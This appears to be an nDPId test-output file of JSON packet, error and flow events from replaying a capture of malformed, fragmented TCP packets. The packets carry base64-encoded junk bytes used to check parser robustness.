-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6564,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXkAGQ1MKAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6565,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779897} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6565,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYEAGQ1EKAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6566,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779906} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6566,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYkAGQ08KAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6567,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779916} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6567,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZEAGQ00KAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6568,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779926} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6568,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZkAGQ0sKAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6569,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779935} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6569,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiaEAGQ0kKAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6570,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779947} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6570,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiakAGQ0cKAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6571,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779957} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6571,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibEAGQ0UKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6572,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030779966} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6572,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibkAGQ0MKAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6573,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":42,"expected":54,"global_ts_usec":1534244030779976} -00346{"packet_event_id":1,"packet_event_name":"packet","packet_id":6573,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":42,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":42,"pkt_l4_len":8,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAcAKACcEAGY0kKAAACCoAAAi8udGdmdGc\/"} 00765{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6574,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":22,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1534244031080090,"flow_src_last_pkt_time":1534244031080090,"flow_dst_last_pkt_time":1534244031080090,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":4,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":4,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":4,"flow_dst_tot_l4_payload_len":0,"midstream":1,"thread_ts_usec":1534244031080090,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":18258,"dst_port":16199,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00525{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6574,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":1,"flow_src_last_pkt_time":1534244031080090,"flow_dst_last_pkt_time":1534244031080090,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAEAGRbEKAAACCoAAAkdSP0dSP3NSPzc0ODM5NinCaAAA"} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6575,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031080118} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6575,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAkAGRa8KAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6576,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031080126} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6576,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBEAGRa0KAAACCoAAAigpKComXiUkI0AjJCVeJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6577,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031080134} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6577,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBkAGRasKAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6578,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031080142} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6578,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCEAGRakKAAACCoAAAkQyKiZERkdISksmXiUkIyM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6579,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031080151} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6579,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCkAGRacKAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6580,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031080163} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6580,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDEAGRaUKAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6581,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031080229} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6581,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDkAGRaMKAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6582,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031080237} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6582,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEEAGRaEKAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6583,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031080246} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6583,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEkAGRZ8KAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6584,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031080253} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6584,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFEAGRZ0KAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6585,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031080261} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6585,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFkAGRZsKAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6586,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031080274} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6586,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGEAGRZkKAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6587,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031080289} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6587,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGkAGRZcKAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6588,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031080300} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6588,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHEAGRZUKAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6589,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031080308} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6589,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHkAGRZMKAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6590,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031080318} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6590,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIEAGRZEKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6591,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031080331} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6591,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIkAGRY8KAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6592,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031080344} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6592,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJEAGRY0KAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6593,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031080356} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6593,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJkAGRYsKAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6594,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031080369} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6594,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKEAGRYkKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6595,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031080381} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6595,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKkAGRYcKAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6596,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031080393} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":6596,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLEAGRYUKAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6597,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031080407} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6597,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLkAGRYMKAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6598,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031080420} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6598,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMEAGRYEKAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6599,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031080432} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6599,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMkAGRX8KAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6600,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031080444} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6600,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNEAGRX0KAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6601,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031080457} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6601,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNkAGRXsKAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6602,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031080469} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6602,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOEAGRXkKAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6603,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031080483} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6603,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOkAGRXcKAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6604,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031080495} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6604,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPEAGRXUKAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6605,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031080507} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6605,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPkAGRXMKAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6606,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031080519} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6606,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQEAGRXEKAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6607,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031080531} 